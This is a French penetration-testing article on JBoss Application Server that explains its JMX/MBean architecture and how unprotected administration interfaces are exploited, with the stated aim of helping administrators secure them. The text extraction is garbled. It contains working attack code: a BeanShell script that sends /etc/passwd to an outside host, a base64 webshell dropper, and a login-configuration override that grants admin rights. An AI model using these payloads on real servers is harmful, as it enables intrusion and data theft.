You are on page 1of 44

JBoss Application Server : exploitation et scurisation e

Renaud Dubourguais renaud.dubourguais(@)hsc.fr


Herv Schauer Consultants e

Rsum Depuis quelques annes, JBoss Application Server fait partie de notre quotidien. e e e Intervenant dans de nombreuses architectures web, tlphonie et autres en tant que solution ee middleware opensource, il est maintenant frquent de rencontrer une banni`re JBoss AS e e sur Internet ou bien au sein dun rseau interne. Son architecture enti`rement base sur le e e e mod`le J2EE inspire la performance, la modularit mais galement la scurit. Il est vrai e e e e e que les avis de scurit sur ces serveurs se font rares et peu dintrusions de grande envere e gure ne semblent avoir fait cho jusqu` prsent. Cependant, cette ralit va rguli`rement a e a e e e e e ` lencontre des dirents retours dexprience quil est possible davoir lors des tests dintrue e sion. En eet, ceux-ci montrent une dcience quasi-syst`matique au sein de la conguration e e des JBoss. La consquence immdiate : lintrusion au sein du syst`me dinformation. Bien e e e entendu, les techniques peuvent tre direntes mais la faille dorigine reste la mme : une e e e interface non protge permettant la prise de contrle. Cette faille rcurrente peut se juse e o e tier de part les points dentre multiples voire trop nombreux que comptent JBoss (JMX e Console, Web Console, Admin Console, Invokers divers et varis, etc.). Certains sont mmes e e inconnus des administrateurs et la conguration en place sen ressent bien souvent en terme de scurit. Cet article a donc pour principal objectif de les mettre en lumi`re an, a lavee e e ` nir, de faciliter leur scurisation. Nous reviendrons donc, dans un premier temps, sur les e mcanismes internes de JBoss AS souvent obfusqus par un niveau dabstraction important, e e et plus particuli`rement sur sa gestion de la scurit. Les points dentre que propose JBoss e e e e ainsi que les possibilits quils orent seront ensuite dcrits, puis exploiter comme pourrait e e le faire un attaquant potentiel lorsque ceux-ci ne sont pas susament protgs. Pour nir, e e des solutions de scurisation seront proposes, an de donner un aperu tr`s gnral des e e c e e e possibilits oertes par JBoss en terme de scurit, possibilits souvent sous-exploites par e e e e e les administrateurs.

Avant propos

Le terme JBoss sous-entend tr`s souvent le serveur dapplication qui y est rate tach : JBoss Application Server (JBoss AS). Cependant, mme si ` ses dbuts le e e a e projet tait essentiellement constitu de ce produit, aujourdhui celui-ci est devenu e e bien plus complexe. JBoss Application Platform, Web Platform, Portal Platform, SOA Platform, Data Services Platform, elles-mmes regroupes dans la solution e e JBoss Enterprise Middleware Suite (JEMS), sont entre autres, les solutions quil est maintenant possible de trouver sur le site ociel de JBoss [1]. Cependant, malgr e votre probable rticence au projet au premier abord, rassurez-vous, ces solutions ne e sont pas si loignes les unes des autres et sont en ralit bases sur le mme socle e e e e e e applicatif : JBoss Application Server (JBoss AS). ` A la naissance du projet JBoss, au tout dbut des annes 2000, lobjectif de e e Marc Fleury tait simple : proposer une solution middleware open-source capable de e concurrencer les dirents produits propritaires existants et dominants le march de e e e ` lpoque (` savoir WebLogic de Oracle-BEA et Websphere dIBM). A cette poque, e a e le J2EE tait encore relativement jeune et de nombreux concepts ntaient pas encore e e

R. Dubourguais

utiliss ou nexistaient simplement pas. Il ntait donc pas ncessaire de proposer des e e e dizaines de solutions pour rpondre aux besoins. La communaut JBoss donna donc e e naissance a un unique produit : le serveur dapplication J2EE JBoss Application ` Server (il y eut bien entendu dautres produits proposs par JBoss mais cest celui-ci e qui constituait le coeur du projet). Lintrt de ce serveur dapplication tait quil pouvait tre utilis pour a peu ee e e e ` pr`s tout et nimporte quoi au sein dune architecture. Il pouvait aussi bien tre e e utilis comme middleware que serveur frontal dans des domaines tr`s varis (web, e e e tlphonie, etc.). ee ` A la vue de la popularit grandissante de cette solution qui se rapprochait dane gereusement de celle de WebLogic et WebSphere apr`s seulement quelques annes e e dexistence, Red Hat sest lanc dans le rachat de lentreprise JBoss Inc. en 2006, e amenant ` une refonte totale de JBoss AS. Celui-ci fut notamment intgr en tant a e e qulment de base ` une solution middleware bien plus complexe appele JEMS, ee a e an de sadapter ` lvolution importante du besoin dans le domaine du J2EE. a e Bien que le projet ait normement volu, le socle est rest le mme et a suivi un e e e e e cycle de dveloppement indpendant [2] soutenu par une communaut tr`s active, e e e e mais rpercutant, par la mme occasion, toutes les probl`matiques de scurit sur e e e e e lensemble des solutions JBoss proposes a lheure actuelle. e ` 1.1 JBoss AS, un serveur scuris ? e e

Etant enti`rement bas sur la technologie Java 2, JBoss AS bncie de tous e e e e les dispositifs de scurisation associs au langage que ce soit au niveau applicatif e e (sandboxing, gestion des autorisations, etc.) quau niveau de lexcution elle-mme e e (vrication du bytecode, typage de donnes, etc) lui fournissant, en thorie, tous les e e e atouts en terme de scurit. e e Cependant, dun point de vue plus pragmatique, la ralit sav`re tr`s souvent e e e e dirente. Les tests dintrusion et les audits de scurit qui peuvent tre raliss e e e e e e montrent bien un engoument de plus en plus prononc des entreprises pour JBoss e AS (indpendant ou intgr a JEMS), mais montrent galement que de plus en plus e e e` e dintrusions dbutent par la compromission dun JBoss AS et cela ne va pas en e sarrangeant. Les mthodes dintrusion peuvent tre direntes mais sont tr`s soue e e e vent dune simplicit enfantine : lutilisation dune interface dadministration non e ou mal protge. Limpact, quant a lui, peut tre catastrophique pour la victime : e e ` e rcupration de donnes clientes, rebond sur des serveurs internes sensibles, attaques e e e de sites tiers, etc. Bien entendu, nous nous accorderons tous ` dire quune interface dadministraa tion mal protge fournit forcment un point dentre au syst`me et que la faute e e e e e peut tre essentiellement rejete sur ladministrateur responsable de lquipement. e e e Cependant, un taux de russite dintrusion sur des serveurs JBoss se rapprochant e des 100% dmontre un probl`me autre quune simple ngligence. e e e

JBoss AS : exploitation et scurisation e

Face a cette ralit, il est assez facile de trouver une premi`re justication au ` e e e probl`me. JBoss AS est, depuis sa naissance, tr`s complexe. Limportant niveau e e dabstraction et le nombre de fonctionnalits rendent notamment la comprhension e e de son fonctionnement particuli`rement dicile. Cest dailleurs pour cela quen e gnral la conguration par dfaut du serveur est laisse comme telle de peur de e e e e tout casser . Les audits rvlent dailleurs que la plupart des administrateurs e e ignorent mme les possibilits que peuvent orir certaines fonctionnalits les laise e e sant donc ` la disposition de tout le monde au cas o` . Fait encore plus ina u quitant, mme lorsque la conguration a t modie et ma ee dans un espoir e e ee e tris de scurisation, celle-ci sav`re encore insusante car certaines portes, souvent ine e connues des administrateurs, nont pas t verrouilles. ee e 1.2 Objectifs de larticle

Aux vues des direntes observations qui ont pu tre faites au cours des tests e e dintrusion, des audits de scurit et mme de la vie courante, il semble donc ime e e portant dtablir, une bonne fois pour toute, le risque quun serveur JBoss AS peut e constituer au sein dune infrastructure si celui-ci nest pas correctement congur. e Cet article a donc deux objectifs : sensibiliser les administrateurs au risque potentiel que constitue un JBoss AS mal congur ; e apporter des solutions pragmatiques pour verrouiller dnitivement les die e rentes portes dentre que peut orir JBoss AS. e Il faut galement noter que les lments qui seront dcrits dans cet article ne e ee e sont pas nouveaux. En eet, les probl`mes qui seront voqus ont t mis en valeur e e e ee il y a dj` plusieurs annes. Certains ont mme fait lobjet davis de scurit et une ea e e e e confrence sur le sujet a galement t donne ` Hack.lu en 2008 [3]. e e ee e a Par ailleurs, cet article na pas pour vocation dtablir une chelle de qualit e e e entre les produits actuellement prsents sur le march ni de blmer la qualit de e e a e JBoss AS. Lobjectif ici est de mettre en lumi`re les nombreux dispositifs de scurit e e e dont il dispose an de faciliter sa scurisation. Une fois la ma e trise de ces dispositifs acquise, les serveurs JBoss AS peuvent tre particuli`rement robustes. Dautre part, e e les middleware tels que WebLogic ou Websphere ne seront pas abords ici mais e ceux-ci poss`dent galement des faiblesses dont il faut avoir conscience. En aucun e e cas, cet article ne doit donc entrer en ligne de compte pour le choix dune solution par rapport a une autre. `

Architecture gnrale de JBoss AS e e

Depuis sa naissance, larchitecture de JBoss AS demeure tr`s complexe et dife cile a apprhender. Prnant la modularit ` son maximum, un important niveau ` e o ea dabstraction a t mis en place d`s le dpart par les concepteurs, et plus partiee e e culi`rement grce ` lintgration de nombreux concepts dont lAOP (Aspect Oriene a a e ted Programming) par exemple. Cette conception permet de diminuer de mani`re e

R. Dubourguais

signicative les dpendances entre les composants, mais complique galement fore e tement la comprhension du fonctionnement interne de JBoss lorsque nous nous e y intressons dun peu plus pr`s. La refonte du cur de JBoss AS a partir de la e e ` version 5 na pas arrang les choses en proposant un mod`le lgrement dirent e e e e e des versions antrieures, mais intgrant encore de nombreux nouveaux concepts et e e fonctionnalits (Virtual File System, Virtual Deployment Framework, etc.). e Cependant, pour pouvoir aborder avec srnit la suite de larticle, il est imporee e tant de bien comprendre un certain nombre de notions. Bien entendu, nous nallons pas dvelopper en dtail chaque partie du cur de JBoss (ce qui ncessiterait probae e e blement un article a part enti`re) mais nous allons nous attacher aux parties pouvant ` e potentiellement tre exploites par un attaquant en vue dune intrusion. e e Pour les lecteurs dsirant en savoir un peu plus sur le fonctionnement interne de e JBoss AS, lensemble de la documentation est disponible sur le site de la communaut e [4]. 2.1 JBoss AS 4 et antrieur : le JMX Microkernel e

An de garantir sa modularit, JBoss AS utilise le concept de composants. Un e composant (Component) au sens JBoss correspond a une entit reprsentant une ` e e ressource au sens large du terme. Une ressource peut donc correspondre aussi bien a un priphrique qu` une partie du cur de JBoss AS, signiant que leur ges` e e a tion sera strictement identique quelle que soit la nature de la ressource gre. Pour ee connecter ces composants entre eux et permettre les interactions extrieures avec e ces mmes composants, JBoss int`gre limplmentation de la Java Management Exe e e tension (JMX) [5] qui constitue en quelque sorte la colonne vertbrale de JBoss AS e (cf. Figure 1).

Fig. 1. Connexion des composants via la JMX

JBoss AS : exploitation et scurisation e

Via la JMX, il est donc possible de grer lensemble des composants de JBoss AS. e Parmi les composants principaux prsents par dfaut, nous trouvons notamment : e e un conteneur web : serveur Tomcat utilis pour lhbergement dapplications e e web (interface dadministration, application utilisateur, etc.). Ce conteneur permet dutiliser JBoss AS comme frontal web et de ladministrer plus aisment e a laide dapplications proposes par dfaut. ` e e un conteneur EJB : serveur utilis pour lexcution dEJB et principalement e e utilis lorsque JBoss AS est utilis comme middleware au sein de larchitecture e e applicative.

Fig. 2. Architecture JMX au sein de JBoss AS

Larchitecture JMX peut tre dcompose en trois couches que la gure 2 illustre. e e e Le niveau Instrumentation est la couche la plus basse mais aussi la plus importante de limplmentation JMX puisquelle correspond a lensemble des compoe ` sants grs par JBoss (applicatif, priphriques, modules dauthentication . . .). Plus ee e e techniquement parlant, il sagit de classes Java appeles Java Managed Beans (ou e MBeans) qui implmentent une interface permettant de grer la ressource quelles e e reprsentent. La principale fonction de ce niveau est donc de sabstraire totalement e de la nature de la ressource sous-jacente et de la manipuler via un simple objet Java. Au dessus de cette couche se trouve le niveau Agent qui, par lintermdiaire e du JMX Microkernel constitu du MBean Server et dAgents, va grer la commue e nication entre le niveau suprieur et lensemble des composants du niveau Instrue

R. Dubourguais

mentation. Pour manipuler un quelconque composant au sein de JBoss, il est donc obligatoire de passer par le JMX Microkernel, et plus particuli`rement par le MBean e Server qui joue le rle de contrleur au sein de larchitecture. o o Le niveau Services Distribus permet, lui, de faire communiquer les applicae tions tierces (applications utilisateurs, interfaces dadministration ...) avec le MBean Server a laide dobjets Java appels Connectors et Adaptors. Il sagit dlments ` e ee permettant dinterfacer un protocole arbitraire (HTTP, RMI, SOAP, IIOP ...) avec limplmentation JMX. Ils garantissent notamment linvocation distante dobjets e Java quel que soit le protocole utilis. e Au cours de larticle, le terme Invoker sera galement utilis. Il sagit de come e posants particuliers utiliss pour communiquer a distance avec le MBean Server. Ils e ` sont gnralement associs a un Adaptor. e e e ` Du point de vue dun attaquant, le moindre acc`s au MBean Server sut pour e contrler totalement lensemble des MBeans sous-jacents et par consquent le serveur o e JBoss lui-mme. Concernant les moyens dacc`s, JBoss nous fournit dj` tous les e e ea outils ncessaires via les Connectors et les Adaptors avec lesquels il est ncessaire e e de communiquer (cf. gure 3).

Fig. 3. Schma dattaque sur un JBoss AS e

JBoss AS : exploitation et scurisation e

2.2

JBoss AS 5 et suprieur : un mod`le orient POJO e e e

La version 5 de JBoss AS apporte des dirences notables au niveau du mod`le et e e de larchitecture interne du serveur. La principale volution concerne notamment le e JMX Microkernel qui a t progressivement remplac par un lment dj` prsent ee e ee ea e dans les versions antrieures mais qui restait secondaire : le Microcontainer. Cet e lment apporte encore plus de modularit et dabstraction en int`grant la notion ee e e de POJO (Plain Old Java Object) au serveur JBoss AS. Du point de vue de lattaquant encore une fois, cela ne change pas normment e e ` partir du moment la donne et la mthode dattaque reste strictement identique. A e o` le cur de JBoss est sous contrle, le serveur tout entier lest galement. La u o e dirence majeure avec JBoss 4, pouvant entraver la bonne marche dune attaque, e rside essentiellement dans la conguration par dfaut beaucoup plus stricte, rendant e e lintrt de certains MBeans tr`s limit. ee e e

Mod`le de scurit de JBoss AS e e e

Les probl`matiques de scurisation nont pas chapp aux concepteurs de JBoss e e e e AS et ont intgr d`s son lancement bon nombre de mcanismes de scurit allant e e e e e e de la gestion des autorisations a la mise en place de sandboxes pour les dirents ` e composants hbergs. Lobjectif de ces dispositifs est clairement dviter tout acc`s e e e e illgitime a une ressource particuli`re mais galement dempcher un composant de e ` e e e raliser des oprations malveillantes. e e 3.1 Gestion des autorisations : JBossSX

An dassurer la gestion des autorisations pour les acc`s aux composants, JBoss e AS intgre la JBoss Security Extension (JBossSX). Cette extension est, par dfaut, e e base sur lAPI JAAS (Java Authentication and Authorization Service) fournissant e une indpendance entre lapplicatif et la scurit. e e e Cette API tant relativement complexe, nous allons seulement nous attarder sur e les notions importantes que sont : les domaines de scurit (Security Domain) ; e e les rles ; o les Principals (les identiants entre autres) ; les Credentials (mot de passe, certicat ...). Les domaines de scurit correspondent aux lments centraux de larchie e ee tecture de scurit de JBoss en permettant de xer une politique de gestion des e e autorisations dirente (Application policy) pour un groupe de composants donn. e e Chaque domaine de scurit est donc constitu dune politique particuli`re spciant e e e e e la ou les mthodes dauthentication qui seront utilises pour lacc`s aux composants e e e auxquels sapplique ce domaine. Dans le cadre de JBoss, les mthodes dauthentie cation correspondent a des Login Modules. Un certain nombre sont prsents par ` e dfaut (identication par login/mot de passe, par base LDAP, par certicat, etc.) e

R. Dubourguais

dont une liste exhaustive est prsente sur le site de la communaut [6]. e e Pour visualiser les domaines de scurit prsents par dfaut sur JBoss AS, il sut e e e e de consulter le chier JBOSS_SERVER/conf/login-config.xml dont voici un aperu c pour le domaine de scurit jmx-console : e e
<application-policy name="jmx-console"> <authentication> <login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule" flag="required"> <module-option name="usersProperties">props/jmx-console-users.properties</module-option> <module-option name="rolesProperties">props/jmx-console-roles.properties</module-option> </login-module> </authentication> </application-policy>

Ce domaine utilise par exemple le Login Module correspondant a la classe Java ` org.jboss.security.auth.spi.UsersRolesLoginModule, fournissant une authentication par login/mot de passe avec une gestion des droits dacc`s ` laide de e a rles. Les comptes et les rles se trouvent respectivement dans les chiers ddis o o e e jmx-console-users.properties et jmx-console-roles.properties. Les rles, pour leur part, sont associs a un domaine de scurit et permettent o e ` e e de spcier qui poss`de les droits dacc`s aux composants auxquels sappliquent le e e e domaine. Si lutilisateur ou lobjet authenti poss`de un rle dnit dans le doe e o e maine de scurit appliqu, alors celui-ci pourra accder aux composants associs e e e e e sinon lacc`s lui sera refus (mme si lauthentiation a russi). e e e e Les Principals peuvent tre globalement considrs comme des identiants pere ee mettant didentier de mani`re unique un utilisateur ou un objet aux vues de son e authentication. Ces Principals sont ensuite associs a des rles an de leur attrie ` o buer des droits dacc`s. e Les Credentials permettent de prouver que lutilisateur ou lobjet demandant les acc`s est bien celui quil prtend tre. Les Credentials peuvent tre des mots de e e e e passe ou des certicats par exemple mais plus gnralement des objets Java. e e Concernant le stockage de ces lments, JBoss permet de multiple supports : ee base de donnes, chiers texte, base LDAP, etc. e 3.2 Intgration de la scurit Java 2 e e e

Etant donn que le risque ne vient pas forcement des utilisateurs mais peut e aussi venir des composants hbergs, JBoss AS intgre galement lensemble des e e e e mcanismes de scurit de Java 2 et notamment le Security Manager. Lobjectif e e e premier de ce mcanisme est de sandboxer des composants, cest-`-dire de restreindre e a les privil`ges dun code Java lors de son excution an de prvenir dventuelles e e e e oprations ` risque (acc`s au syst`me dexploitation, ouverture de sockets, lancement e a e e de processus, cration de class loader, etc.). Cette protection permet dempcher e e toute atteinte ` lintgrit et a lventuelle condentialit des donnes manipules par a e e ` e e e e

JBoss AS : exploitation et scurisation e

le serveur. Cela est particuli`rement utile dans le cas dune porte drobe qui aurait e e e t insre au sein du serveur. Concernant la conguration du Security Manager, ee ee celle-ci est gnralement unique suivant le syst`me et les applications mises en place. e e e La politique de scurit ` appliquer est donc propre a chaque serveur. e ea ` 3.3 JBoss AS et sa conguration par dfaut e

JBoss AS intgre galement une multitude dautres mcanismes de scurit qui e e e e e nont pas t dcrits ici faisant de lui, a premi`re vue, un serveur plutt robuste. ee e ` e o Cependant, comme mentionn prcdemment, la ralit est bien souvent dirente e e e e e e et les tests dintrusion sont l` pour le prouver. Un rapide coup doeil au sein de la a conguration de JBoss AS sut pour trouver son principal dfaut : il nactive aucun e mcanisme de scurit par dfaut. Cela signie que malgr une dclaration eective e e e e e e des dirents domaines de scurit dans la conguration de JBoss AS, ceux-ci ne e e e sont rattachs a rien, ouvrant ainsi toutes les portes aux ventuels attaquants. Dans e ` e la pratique, il faut galement noter que bon nombre dadministrateurs nactivent pas e ces scurits mme les plus simples a mettre en place, soit par ngligence soit par e e e ` e leur incomprhension des mcanismes de scurit. Lorsque quand bien mme cere e e e e taines scurits sont mises en place, les mots de passe par dfaut sont gnralement e e e e e laisss (` savoir admin/admin) rappelant trangement les vulnrabilits quil est ene a e e e core possible de trouver sur les serveurs Tomcat et ses drivs (Geronimo, Jetty, etc.). e e Concernant le Security Manager, celui-ci nest mme pas disponible dans les e options de lancement de JBoss. Il est donc ncessaire daller modier ` la main le e a script de lancement pour lactiver ce qui, dans la pratique, nest jamais fait. Dautre part, ce mcanisme est reconnu pour sa conguration complexe qui peut rendre e impossible le lancement du serveur lorsquelle est trop restrictive. De plus, pour que celle-ci soit ecace, elle doit tre propre a chaque serveur suivant le syst`me et e ` e les applications mises en place consommant ainsi de nombreuses ressources dans sa conguration. Cette protection nest donc que tr`s rarement active et toujours trop e e permissive.

JBoss AS du point de vue de lattaquant

` A la vue de la conguration par dfaut des serveurs JBoss en terme de scurit, il e e e est facile de comprendre lintrt que portent les pirates a ces serveurs. Cependant, ee ` pirater un serveur cest bien mais encore faut-il quil soit utile. Ainsi, quelles fonctionnalits si intressantes ces serveurs apportent-ils ? Et bien en ralit, elles e e e e peuvent tre de plusieurs ordres allant de lobtention dinformation sur le serveur e lui-mme a lexcution de code arbitraire en passant par la modication ` la vole de e ` e a e la conguration du serveur ; en dautres termes : une vrai mine dor pour les pirates. La seule obligation est davoir un acc`s aux MBeans fournissant ces fonctionnalits e e et donc plus gnralement au MBean Server. e e Pour cette partie, nous allons nous placer du point de vue dun attaquant tant e parvenu (par une technique dcrite par la suite), ` prendre le contrle du MBean Sere a o

10

R. Dubourguais

ver de JBoss AS et dsirant raliser des oprations malveillantes. Seuls les MBeans e e e potentiellement utilisables lors dune intrusion seront dcrits ici. e 4.1 Rcupration dinformations e e

Avant dintruser un syst`me quel quil soit, un attaquant passe ncessairement e e par une phase de reconnaissance visant a identier de mani`re prcise sa cible an ` e e de dtecter dventuelles vulnrabilits exploitables. Pour cela, JBoss AS propose e e e e par dfaut un certain nombre de MBeans donnant tous les outils ` lattaquant pour e a raliser cette opration. Il peut notamment obtenir une description compl`te de e e e larborescence du serveur JBoss par lintermdiaire du MBean prvu a cet eet e e ` jboss.system:type=ServerConfig (emplacement des rpertoires de dploiement, e e des chiers de journalisation, des rpertoires temporaires, des chiers de congurae tion, etc.). La gure 4 donne un aperu des attributs quil est possible de rcuprer c e e par lintermdiaire de ce MBean. e

Fig. 4. Attributs du MBean jboss.system :type=ServerCong

Lattaquant peut dduire de ces informations, le syst`me dexploitation souse e jacent, la version du serveur JBoss, les rpertoires potentiellement exploitables pour e lcriture de chiers et les ventuelles vulnrabilits propres ` la version du serveur e e e e a JBoss. Pour obtenir des informations encore plus prcises sur le serveur (branche e SVN, date de compilation . . .), lattaquant peut galement interroger le MBean e

JBoss AS : exploitation et scurisation e

11

jboss.system:type=Server. Le MBean jboss.system:type=ServerInfo, quant a lui, fournit une descrip` tion tr`s prcise de lOS (version du syst`me, architecture 32 ou 64 bits, nombre e e e de processeurs, mmoire disponible, etc.) et de la machine virtuelle Java (version, e diteur, etc.). De ces informations, lattaquant peut galement dduire dventuelles e e e e vulnrabilits au sein du syst`me dexploitation en vue dune future lvation de e e e ee privil`ges par exemple (cf. gure 5). e

Fig. 5. Attributs du MBean jboss.system :type=ServerInfo

4.2

Dni de service e

Une fois en interaction avec le MBean Server, un attaquant ne sarrte gnrae e e lement pas a une simple phase de reconnaissance et peut commencer a mener des ` ` actions bien plus nfastes. Lun des objectifs peut notamment tre la mise hors sere e vice du serveur dans le cadre dun contrat avec un concurrent de la victime par exemple. Pour mener une telle attaque, il faut savoir que JBoss AS permet, a laide ` du MBean jboss.system:type=Server, darrter purement et simplement le sere veur a distance par linvocation des mthodes shutdown(), halt() ou exit() du ` e MBean, ncessitant un redmarrage a la main du serveur. e e ` Une autre possibilit, qui se rapproche de celle oerte par les serveurs Tomcat, est e darrter les applications et composants sensibles du serveur (applications et come posants dadministration, points dentre au serveur, applicatif mtier, etc.). Pour e e cela, JBoss fournit une mthode gnrique stop() valable sur la quasi-totalit des e e e e MBeans permettant larrt du MBean sur lequel elle est applique. Cette mthode e e e est beaucoup plus vicieuse car elle narrte pas le serveur en temps que tel et il sera e

12

R. Dubourguais

ncessaire danalyser les dirents logs, souvent peu prcis sur lorigine du probl`me. e e e e La faon la plus simple et la plus rapide pour les administrateurs sera, de nouveau, c le redmarrage a la main du JBoss AS sils ne veulent pas passer plusieurs heures e ` a chercher quel composant il est ncessaire de rdmarrer. ` e e e Ces possibilits sadressent gnralement ` des script kiddies car la simple mae e e a nipulation du serveur JBoss chez soi sut a les dcouvrir. ` e 4.3 Excution de code arbitraire ` la vole e a e

Lune des autres nombreuses possibilits oertes, et tr`s souvent inconnues des e e administrateurs, est la possibilit dexcuter du code Java arbitraire a la vole sur le e e ` e serveur. Pour cela, les serveurs JBoss AS int`grent (tout comme WebLogic dailleurs) e un interprteur BeanShell [7]. Il sagit dun outil capable dexcuter du code sappae e rentant au langage Java avec quelques commandes supplmentaires se rapprochant e des langages Perl et Javascript. Le code suivant est un exemple de script BeanShell pouvant tre excut sur un serveur JBoss : e e e
import java.io.*; import java.lang.*; import java.net.*; try { BufferedReader in = new BufferedReader(new FileReader("/etc/passwd")); StringBuffer content = new StringBuffer(); String line = ""; while ((line = in.readLine()) != null) { content.append(line+"\n"); } in.close(); Socket socket = new Socket(InetAddress.getByName("p0wned.hsc.fr"), 80); PrintWriter socketWriter = new PrintWriter( new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())), true ); socketWriter.println(content); socketWriter.close(); socket.close(); } catch (Exception e) {}

Les plus chevronns auront probablement remarqu que ce script va permettre e e a un attaquant de rcuprer, sur une machine quil contrle, le chier des utilisa` e e o teurs syst`mes, montrant parfaitement lapplication quun pirate peut faire dune e telle fonctionnalit. Un attaquant pourrait, par exemple, excuter des commandes e e syst`mes, rcuprer des chiers et installer une porte drobe. e e e e e Pour pouvoir proter de cette possibilit, lattaquant doit faire appel ` la mthode e a e createScriptDeployment(String script_content, String name) du MBean pre vu a cet eet jboss.deployer:service=BSHDeployer. Celui-ci va tout simplement ` crer le script contenu dans la cha script_content sur le disque local du serveur e ne (dans /tmp par dfaut sous Unix) et lexcuter. e e

JBoss AS : exploitation et scurisation e

13

4.4

Dploiement dapplications e

Le Graal des serveurs JBoss AS reste le dploiement de nouveaux composants e a chaud . Cette fonctionnalit, souvent intgre aux serveurs dapplication et ` e e e conteneurs web, est prvue ` la base pour viter un redmarrage du serveur a chaque e a e e ` ajout. Cependant, du point de vue dun attaquant, cela a pour avantage de permettre linstallation de portes drobes utilisables immdiatement. e e e Dploiement via le MainDeployer : La premi`re solution est dutiliser larchie e tecture de dploiement de JBoss AS. Pour cela, toutes les requtes de dploiement e e e doivent tre transmises au MBean jboss.system:service=MainDeployer via lape pel de la mthode deploy(String URL). Son rle est relativement simple puisquil e o doit, dans un premier temps, rcuprer larchive du composant situe ` lURL passe e e e a e en param`tre, puis la transmettre a un SubDeployer qui a pour rle dinstaller le e ` o composant sur le serveur. La slection du SubDeployer et du lieu dinstallation du e composant se fait en fonction de lextension du chier (.war, .sar, .ear, .jar, .xml, etc.). Par exemple, un chier WAR (Web application ARchive) sera dploy au sein e e du conteneur web intgr a JBoss, a savoir Tomcat, tandis quun chier SAR (Sere e` ` vice ARchive) sera intgr comme MBean. e e Ce qui est intressant du point de vue de lattaquant, cest que pour les versions e de JBoss AS infrieures a la 5.0.0, la conguration par dfaut permet de dployer, e ` e e via HTTP, un composant hberg sur un serveur distant que le pirate peut potene e tiellement contrler. Lintrt, ici, est de permettre a lattaquant dinsrer, au sein o ee ` e du serveur, une nouvelle application ou porte drobe (webshell ) fournissant des e e fonctionnalits quil aura prlablement dnies en fonction de son besoin (excution e e e e de commande syst`me, balayage de ports, spam relay . . .). e Le point noir de cette mthode est quil est ncessaire que JBoss AS puisse e e tablir des connexions vers le serveur contrl par lattaquant (ce qui par exprience e oe e est gnralement le cas). e e ` A partir de la version 5.0.0, JBoss AS ne permet plus le dploiement de compoe sants distants via HTTP, empchant lexploitation directe de ce MBean. Dans cette e situation, le composant doit tre pralablement stock sur le serveur lui-mme, oblie e e e geant lattaquant ` trouver un autre moyen duploader le composant quil souhaite a dployer (via une faille applicative par exemple). Cette conguration complexie e donc grandement lexploitation. Dploiement via un script BeanShell : Pour contourner le probl`me de connexion e e vers lextrieur, il est cependant possible dutiliser un script BeanShell. Lobjece tif est simple : faire excuter du code sur le serveur ayant pour rle dy crire e o e un chier en vue de son dploiement futur. Pour cela, il faut invoquer le MBean e jboss.deployer:service=BSHDeployer avec un script BeanShell du type :
import java.io.FileOutputStream; import sun.misc.BASE64Decoder;

14

R. Dubourguais

String webshell = "UEsDBAoTjXM8CQRNRVRBLUlORi/+ylBLAwQKCBKN" + "czxNz3oUXmoUTUVUQS1JTkYvTUFOSUZFU1QuTUbz" + ... "U2VydmljZU1CZWFuLmNsYXNzUEsFBgoK8AIlGA=="; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval = decoder.decodeBuffer(webshell); FileOutputStream fs = new FileOutputStream("/tmp/webshell.sar"); fs.write(byteval); fs.close();

Lors de son excution sur le serveur, ce script dcode larchive du webshell, ene e code en dur en base 64, puis lcrit dans le rpertoire /tmp. Cette mthode permet e e e e ainsi duploader un code malicieux sans connexion de la part du serveur. Larchive tant maintenant en local sur le serveur, lattaquant devra reprendre la mthode e e prcdente en invoquant le MBean jboss.system:service=MainDeployer avec le e e chemin de larchive gnre. e ee Il est ` noter que sous JBoss 5 et suprieur, le dploiement de script BeanShell a e e distant nest plus possible empchant lexploitation directe de cette fonctionnalit. e e Dploiement via lAdmin Console : Depuis la version 5.1.0 de JBoss AS, une e nouvelle interface dadministration a fait son apparition : lAdmin Console. Cette interface sapparente au Tomcat Manager que lon peut retrouver sur les serveurs Tomcat et permet donc le dploiement dapplications ` distance via un formulaire e a HTML (cf. gure 6).

Fig. 6. Dploiement dapplications via lAdmin Console. e

Une fois cette interface compromise, lattaquant pourra donc dployer lapplicae tion de son choix au sein des dirents conteneurs de JBoss. e

JBoss AS : exploitation et scurisation e

15

4.5

Modication des mthodes dauthentication ` la vole e a e

Bien que lexprience montre que les mcanismes dauthentication ne sont que e e tr`s rarement mis en place pour les lments critiques de JBoss AS, il peut arriver e ee de tomber sur un administrateur consciencieux. Il peut galement arriver que les ape plications web hberges par le serveur utilisent galement les mcanismes internes e e e e de JBoss pour raliser les authentications des utilisateurs. e Parmi les lments protgs (sous-entendant un moyen dauthentication non ee e e trivial), certains peuvent pourtant intresser lattaquant pour des raisons diverses e (acc`s ` des donnes sensibles, fonctionnalits supplmentaires intressantes pour e a e e e e lintrusion, etc.). Malgr les protections mises en place, tout nest pas perdu pour e lattaquant. En eet, JBoss permet galement de rednir ` la vole, via un acc`s au e e a e e MBean Server, les domaines de scurit mis en place. Cela signie quun attaquant e e peut potentiellement modier lensemble des domaines de scurit appliqus et ainsi e e e dvrrouiller toutes les applications. e e Pour raliser une telle opration, lattaquant doit invoquer la mthode associe e e e e loadConfig(String URL) du MBean jboss.security:service=XMLLoginConfig. En analogie avec le dploiement dapplication, cette mthode va aller chercher la e e nouvelle conguration ` lURL spcie en param`tre, puis lappliquer a chaud . a e e e ` La conguration suivante va rednir le domaine de scurit jmx-console an date e e tribuer lidentit hsc avec le rle JBossAdmin (rle dadministration par dfaut) ` e o o e a tout utilisateur se connectant aux composants utilisant ce domaine.
<policy> <application-policy name = "jmx-console"> <authentication> <login-module code="org.jboss.security.auth.spi.IdentityLoginModule" flag="required"> <module-option name="principal">hsc</module-option> <module-option name="roles">JBossAdmin</module-option> </login-module> </authentication> </application-policy> </policy>

